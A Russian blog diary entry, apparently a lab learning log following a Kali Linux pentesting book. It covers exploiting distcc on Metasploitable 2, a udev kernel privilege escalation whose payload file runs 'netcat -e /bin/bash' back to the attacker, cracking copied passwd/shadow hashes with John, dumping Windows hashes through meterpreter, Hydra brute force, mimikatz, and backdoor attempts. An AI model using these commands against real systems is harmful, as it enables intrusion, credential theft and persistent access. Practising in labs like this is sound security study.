×
Главная   »   Заметки   »   День 10. Повышение привилегий на Linux и подбор пароля
День 10. Повышение привилегий на Linux и подбор пароля
Метки:      ,   ,   ,   ,   ,   ,   ,   ,   

Сегодня все же удалось повысить привилегии в скомпрометированной машине на Linux. Так же познакомился с подбором пароля и попробовал оставить бэкдор, но неудачно.

Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Все действия происходят на виртуальных машинах и внутри локальной сети автора. Спасибо!

Вчера я хотел продолжить изучать протоколы, но все же снова решил вернуться к книге Парасрам Шивы «Kali Linux. Тестирование на проникновение». Остановился я на девятой главе, где у меня не получилось повысить привилегии.

На этот раз установил Metasploitable 2 (который является линуксом) и просканировал его. Порт 3632 открыт, следовательно, можем воспользоваться уязвимостью службы distcc. Находим эксплойт exploit/unix/misc/distcc_exec. Далее при помощи следующей команды устанавливаем RHOST (192.168.56.107 – это IP целевой машины).

msf6 exploit(unix/misc/distcc_exec) > hosts -R -S 107

После ставим нагрузку payload/cmd/unix/reverse и устанавливаем наш IP в LHOST. Запускаем эксплуатацию. Замечательно, мы получили доступ к Metasploitable 2.

Далее узнаем кто мы есть в системе:

whoami

Определился как daemon. Теперь определим версию ядра:

uname -r

Далее на сайте https://www.exploit-db.com/ ищем эксплойт для Linux Kernel 2.6. Был найден Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2). Далее предлагается найти udev в Kali Linux:

$ searchsploit udev

Далее необходимо перенести этот эксплойт с нашей машины на целевую. И, конечно же в книге неактуальный путь. Эксплойт находится по следующему пути: /usr/share/exploitdb/exploits/linux/local/8572.c. Далее запускаем сервер:

$ service apache2 start

И скачиваем файл при помощи команды wget из скомпрометированной машины.

wget 192.168.56.101/8572.c -O 8572.c

Компилируем файл:

gcc 8572.c -o 8572

Далее в описании эксплойта написано: «Pass the PID of the udevd netlink socket (listed in /proc/net/netlink, usually is the udevd PID minus 1) as argv[1].» Чтобы получить идентификатор процесса (PID) сокета udevd netlink, необходимо выполнить следующую команду cat /proc/net/netlink.

Либо, выполнив команду ps aux | grep udev, но при этом не забыв вычесть единицу. Далее необходимо создать файл run со следующим содержимым:

echo '#!/bin/bash' > run 
echo '/bin/netcat -e /bin/bash 192.167.56.101 31337' >> run

Так же необходимо запустить Netcat на атакующей машине:

nc -vv -l -p 31337

После запустить эксплойт с нашим PID. Но, ничего не произошло. Чтобы посмотреть, что сохранилось в файле run, ввел команду vim (редактировать, конечно же, нельзя). Оказалось, ошибся в IP атакующей машины. Удалил файл run и создал с новыми данными.

echo '#!/bin/bash' > run 
echo '/bin/netcat -e /bin/bash 192.168.56.101 31337' >> run

Запускаю эксплойт (2280 – нужный PID):

./8572 2280

Утилита Netcat приняла на порт 31337 управление скомпрометированной машины. Если ввести whoami, то мы можем увидеть, что являемся root-пользователем.

Раздел «Инструменты подбора пароля»

Теперь могу продвигаться в изучении Kali Linux. Перехожу к подбору пароля. Здесь идет речь о подборе пароля по имеющемуся хешу. Снова подключаемся к Metasploitable 2. На этот раз файл run я создал на сервере атакующей машины и загрузил на скомпрометированную.

Для побора пароля буду использовать John the Ripper (Джон Потрошитель) – инструмент для взлома хеша пароля. Он может взломать (подобрать) пароль для более чем 40 типов хешей.

Но, для начала эти пароли необходимо выгрузить. Найдем файлы shadow и passwd. В папке etc:

ls -a | grep pass

Открываем при помощи vim и копируем на атакующую машину. Далее, при помощи команды unshadow объединяем файлы:

$ unshadow passwd shadow > pass

Далее передаем «Джону» наш список:

$ john pass

Несмотря на то, что я не скачивал дополнительные базы слов, «Джону» удалось взломать два пароля. Загрузил список паролей с официального сайта  (более 5 млн.). Результат не изменился:

$ john --wordlist=all.lst pass

Возможно, что-то делаю не так.

Для взлома хешей паролей Windows предлагается использовать Ophcrack. Но, для начала необходимо выгрузить эти данные. Вспоминаю, в третий день я использовал hashdump. Снова используем уязвимость в SMB:

msf6 > use exploit/windows/smb/psexec

Далее в оболочке meterpreter:

meterpreter > run post/windows/gather/hashdump

Вот и получил эти хеши. Далее скачиваю радужные таблицы (https://ophcrack.sourceforge.io/tables.php). В GUI версии Ophcrack подключаю эти таблицы. Далее запускаю «Crack».

Далее пробуем подобрать пароль для VNC, который работает на Metasploitable 2. Будем использовать Hydra.

# hydra -V -h -P password.lst 172.16.43.156 vnc

К сожалению, не получилось. Необходимо вернуться к этому позднее. Теперь будем использовать Mimikatz. Сначала загружаем его:

meterpreter > load mimikatz

Получаю следующий ответ: The «mimikatz» extension has been replaced by «kiwi». Please use this in future. Что же, тогда нужен хелп:

meterpreter > help

Следующая команда самая подходящая:

meterpreter > kiwi_cmd -f sekurlsa::searchPasswords

Найти учетные данные не получилось. Зато получилось вывести кофе…

meterpreter > kiwi_cmd -f standard::coffee

Поддержание доступа к скомпрометированной машине

Предположим, доступ к машине мы получили. Теперь его нужно поддерживать. Разберемся с бэкдором для входа в операционную систему.

Cymothoa – инструмент, создающий в ОС бэкдор. Для начала его нужно установить. Теперь выводим список доступных шелл-кодов:

$ cymothoa -S

В итоге у меня не получилось. Для этого необходимо скомпрометировать целевую машину на Linux. Поэтому перехожу к бэкдору Meterpreter, а именно metsvc. Устанавливаю его:

meterpreter > run metsvc

Все попытки закончились следующим результатом: Cannot create service (0x00000431). Не помогли даже китайские сайты. На всех ресурсах показано, что работает это без проблем. Например, на сайте https://www.cxymm.net/article/nzjdsds/77957650 показана та же самая ошибка (такую статью можно найти на нескольких сайтах), но после нее, сессия все равно открывается.

Если проанализировать папку TEMP (C:\Windows\Temp\), то можно найти exe и dll бэкдора. Может необходимо его как-то вручную запустить.

Потом перечитал главу. Бэкдор должен заработать после перезагрузки целевой машины. Перезагрузил. metsvc.exe появился в процессах, но сессия все равно не создается.

Придется оставить этот вопрос.

Сегодня все же удалось повысить привилегии в скомпрометированной машине на Linux. Так же познакомился с подбором пароля и попробовал оставить бэкдор, но неудачно.

813 просмотров
30.03.2022
Автор